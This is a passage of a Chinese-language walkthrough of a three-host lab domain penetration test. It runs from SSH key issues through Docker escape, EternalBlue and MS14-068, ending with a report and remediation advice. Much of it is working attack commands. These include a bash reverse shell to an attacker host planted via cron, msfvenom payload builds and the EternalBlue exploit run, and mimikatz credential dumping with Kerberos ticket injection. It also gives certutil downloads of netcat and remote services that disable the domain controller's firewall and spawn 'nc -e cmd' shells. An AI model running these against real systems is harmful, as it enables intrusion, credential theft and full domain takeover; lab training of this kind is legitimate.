rain.pub还是需要我们输入密码，权限给了，用户也添加了，卧槽我能怎么办。。。。。。那么大概率就是算法问题了，强制添加选项（卧槽，搞我半天，心态崩了）ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsassh连接问题排错方案给三个参考，目前我打靶所遇到的，可以写在自己的笔记里面ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集我们还没有得到ubuntu的密码，获取不了最高root权限（sudo）不支持本地提权，像常规的suid提权都不行查看计划任务，没有ubuntu这个用户可以写的文件但是还有一种方式哈，我们刚刚获取的逃逸成功的shell，它是不是root？我们用这个root追加一个计划任务，那么真实的靶机就会定时执行这个命令是吧，前面我们密匙都登录成功了，这个问题还不简单嘛echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh chmod +x /tmp/forest/tmp/shell.sh cat /tmp/forest/tmp/shell.sh # 写入crontab计划任务，表示每隔1分钟以root权限执行一次计划 echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab cat /tmp/forest/etc/crontab nc -lvnp 1234等待1分钟即可反弹成功创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'查看网卡内网主机发现root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms 64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms 64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 time=0.829 ms发现了另外两台靶机，写入端口扫描工具，把扫描出来的另外两个靶机放入这个hosts变量里面#!/bin/bash hosts=( "192.168.183.128" "192.168.183.130" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done扫描结果，第二个机器扫不出来结果，大概率是禁ping或者开了防火墙frp隧道搭建服务端开启frp服务器web靶机连接服务端编辑修改/etc/proxychains4.conf的最后一行数据使用Nmap对刚刚扫描出来的一个端口进行测试，135端口开启，代理成功！！proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135增加端口数量proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157从上面的服务来看，大概率是一个Windows服务器，还开着一个http端口，访问一下看看，报了503服务器内部错误对445端口增加漏洞扫描的Nmap脚本proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vulnms17-010很熟悉吧，是永痕之蓝如果说我们需要从对方的内网反弹Shell反弹到我们的kali上，那么就需要配置端口转发，服务器靶机执行如下命令，我们前面已经获取到了最高权限iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444这里我就不用端口转发了，没有用成功，感兴趣的可以试试（192.168.183.149是我的win7地址，中途恢复了快照几次），另外下面这个生成了两个payload，因为目前我们还不知道目标是x86还是x64的操作系统，所以生成了两个，然后合并成一个，这样就可以双利用了（注意要多打几次，否则可能利用不成功或者造成蓝屏）git clone https://github.com/worawit/MS17-010.git nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin MSFvenom -p Windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x64 --format raw -o sc_x64_payload.bin MSFvenom -p Windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x86 --format raw -o sc_x86_payload.bin cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin反弹成功chcp 65001解决乱码问题域渗透查看所有网络信息，这里我没有画，稍微注意一下dns的地址，是192.168.183.130ipconfig /all查看域内用户，和本机用户，本机用户已经是最高system权限了，但是呢不在域用户列表中通过ping就可以获取目标IP信息啦，并且呢我们可以发现，这个地址是和dns地址一样的查看administrators组的成员如果没有密码，那就是目标靶机没有登录，需要登录一下，这样这些凭证才能保存到本地mimikatz.exe sekurlsa::logonpasswords记录一下sid为：S-1-5-21-979886063-1111900045-1414766810-1107利用ms14-068进行域内提权，伪造黄金票据，获取域控的操作权限ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123利用mimikatz.exe导入上面生成的票据mimikatz # kerberos::purge //清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中连接并查看域控，连接成功！通过net use挂载域控共享目录net use WIN-ENS2VR5TR3N dir \WIN-ENS2VR5TR3Nc$web肉鸡（ubuntu）因为只有它出网：wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip unzip netcat-win32-1.12.zip python3 -m http.server将这个文件传上win7，由于cmd没有curl和wget等命令，但是测试了certutil可以使用，那么就用这个从web服务器下载下来，win7：certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe再将这个nc.exe复制到域控主机上copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe接着新建任务来关闭域控的防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \WIN-ENS2VR5TR3N start unablefirewallwin7创建nc反弹任务sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd" sc \WIN-ENS2VR5TR3N start ncshellweb服务器别忘记开nc监听nc -lnvp 1234拿到域控主机，获取主机密码，将win7的mimikatz复制到域控主机上copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe dir \WIN-ENS2VR5TR3Nc$在反弹成功的shell中执行刚刚复制下来的mimikatzmimikatz.exe sekurlsa::logonpasswords成功拿下域控的密码！！开启远程连接放行TCP端口3389，前面已经关闭了防火墙，这一步可以跳过etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表，设置允许远程登录，需要重启一下，会发现获取不到挂载的域控目录信息了，重新根据上面的步骤再来一遍就行了reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f shutdown /r /t 0打开proxifier开启全局代理，设置socks5连接kali的proxychains端口此时就可以用Windows的远程连接了远程连接成功！成功拿下域控主机远程访问权限！至此，渗透结束，当然还可以继续渗透，清理操作日志，也就几条命令的事儿。感兴趣的朋友们可以自行尝试另外也有第二种方法来，域控主机也是存在永恒之蓝漏洞的，然后利用域控主机横向到win7主机proxychains Nmap -sT 192.168.183.130 -p 445 --script=vuln报告总结一、测试目标概述靶场环境：由三台主机组成的域渗透环境（Ubuntu Web服务器、Windows域成员机、Windows域控服务器）网络拓扑： 外网段：10.10.10.0/24 内网段：192.168.183.0/24 核心目标：从外网突破至内网，获取域控（DC）权限。 二、渗透测试流程阶段一：外网打点 主机发现 使用arp-scan探测内网存活主机，定位Web服务器（10.10.10.131）。 端口扫描发现开放服务： 2001端口：Apache Struts2服务 2002端口：Tomcat管理界面 2003端口：phpMyAdmin 漏洞利用 Struts2 S2-045漏洞 使用公开EXP执行命令，获取Docker容器内Root权限，确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1 Tomcat PUT方法任意文件上传 利用CVE-2017-12615上传JSP Webshell，获取Tomcat权限。 phpMyAdmin 4.8.1文件包含漏洞 包含日志文件/Session文件尝试GetShell，因环境限制未成功。 阶段二：内网横向移动 权限维持与逃逸 Docker逃逸（特权模式） 挂载宿主机磁盘至容器路径，通过写入SSH公钥或计划任务反弹Shell，获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务 内网探测 存活主机：192.168.183.128（Win7）、192.168.183.130（DC） 使用proxychains+frp搭建Socks代理，实现内网流量转发。 域成员机渗透（192.168.183.128） MS17-010永恒之蓝漏洞利用 生成混合Payload，通过Metasploit框架获取System权限Shell。 信息收集 域名称：DEMO.com 域用户：douser/Dotest123 域管理员组：Administrator（未直接暴露） 域控提权（192.168.183.130） MS14-068漏洞伪造黄金票据ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存 横向控制 通过net use挂载域控共享目录，上传NC反弹Shell。 关闭防火墙，创建远程服务执行Payload，获取域控System权限。 三、关键风险点 外网服务漏洞 Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。 内网隔离缺失 Docker容器与宿主机未做网络隔离，特权模式启用导致逃逸。 域内安全策略缺陷 未禁用弱协议（SMBv1），MS17-010补丁未安装。 域用户权限过高，允许普通域用户提权至域管理员。 四、修复建议 外网服务加固 升级Struts2、Tomcat至安全版本，禁用PUT方法。 phpMyAdmin限制访问IP，启用双因素认证。 内网隔离与监控 Docker容器使用非特权模式，启用AppArmor/SELinux。 部署IDS/IPS检测异常SMB流量（如永恒之蓝攻击特征）。 域安全策略优化 安装MS17-010补丁，关闭SMBv1协议。 实施最小权限原则，定期审计域用户权限。 启用LAPS（本地管理员密码解决方案），防止密码复用。 五、附录 渗透工具清单 漏洞扫描：Nmap、Nikto 漏洞利用：MSF、MS14-068 EXP、永恒之蓝利用脚本 横向移动：Proxychains、FRP、Mimikatz 攻击路径示意图 报告编制方：泷羽Sec安全团队 日期：2025年2月16日往期推荐ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【渗透测试】ATT&CK靶场一，phpmyadmin，域渗透，内网横向移动攻略【oscp】vulnerable_docker，三种代理方法打入内网【oscp】FALL，wfuzz参数模糊测试【oscp】超长攻击链，TommyBoy1dot0——过年快乐！【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了